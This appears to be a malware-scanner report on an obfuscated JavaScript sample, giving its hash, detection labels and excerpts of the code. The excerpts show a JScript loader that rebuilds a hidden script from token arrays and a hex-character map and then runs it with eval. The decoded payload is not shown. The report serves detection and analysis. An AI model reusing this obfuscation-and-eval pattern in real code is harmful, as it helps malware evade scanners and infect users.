Suspicious ^80% javascript-malware-collection Download

20160921_fa89d54bd5a7a27defe09d5a56b5a881.js

Obfuscated eval execution

Token-array remap reconstructionRepeated anonymous return token stubs

SHA-25630f2a7c2562ef79254c8129be50246b9c41eb24f000c8cfbd0f4f8c28b49b00f

Evidence

Repeated anonymous return token stubs lines 1–5

1
2/*@cc_on
3
4var JXq = "";
5var Ny = [(function fuck(){return "MUs";})(),(function fuck(){return "EHo";})(),(function fuck(){return "UXf";})(),(function fuck(){return "FJs";})(),(function fuck(){return "Fv";})(),(function fuck(){return "Dc";})(),(function fuck(){return "Mw";})(),(function fuck(){return "UXf";})(),(function fuck(){return "IPu";})(),(function fuck(){return "Xg";})(),(function fuck(){return "OQr";})(),(function fuck(){return "MOj";})(),(function fuck(){return "Tv";})(),(function fuck(){return "Bz";})(),(function fuck(){return "IPu";})(),(function fuck(){return "IPu";})(),(function fuck(){return "IPu";})(),(function fuck(){return "IPu";})(),(funct …

Short-token to hex-char map lines 5–9

5:576427… })(),(function fuck(){return "Bz";})()];
6var Zh;
7for (Zh = 0; Zh < Ny.length; Zh++)
8{
9var NOc = {'Jg': '\x79', 'Na': '\x78', 'EHo': '\x75', 'Fv': '\x74', 'Jh': '\x77', 'Wo0': '\x71', 'IOs': '\x70', 'Ar': '\x73', 'Za': '\x72', 'Bz': '\x0a', 'GNm': '\x0d', 'CTm': '\x09', 'ILp': '\x7d', 'AUx': '\x7a', 'Cs': '\x7c', 'Tv': '\x7b', 'DHd': '\x2f', 'IKv': '\x2d', 'Pc': '\x2e', 'DRx': '\x2b', 'OPz': '\x2c',  …

Token remap loop into eval buffer lines 9–15

9:1277… '\x5d', 'Wn': '\x5c', 'TTs': '\x5b', 'Et': '\x5a'};
10    Hg = Ny[Zh];
11    var HUh = NOc[Hg];
12    JXq = JXq + HUh;
13}
14eval(JXq);
15@*/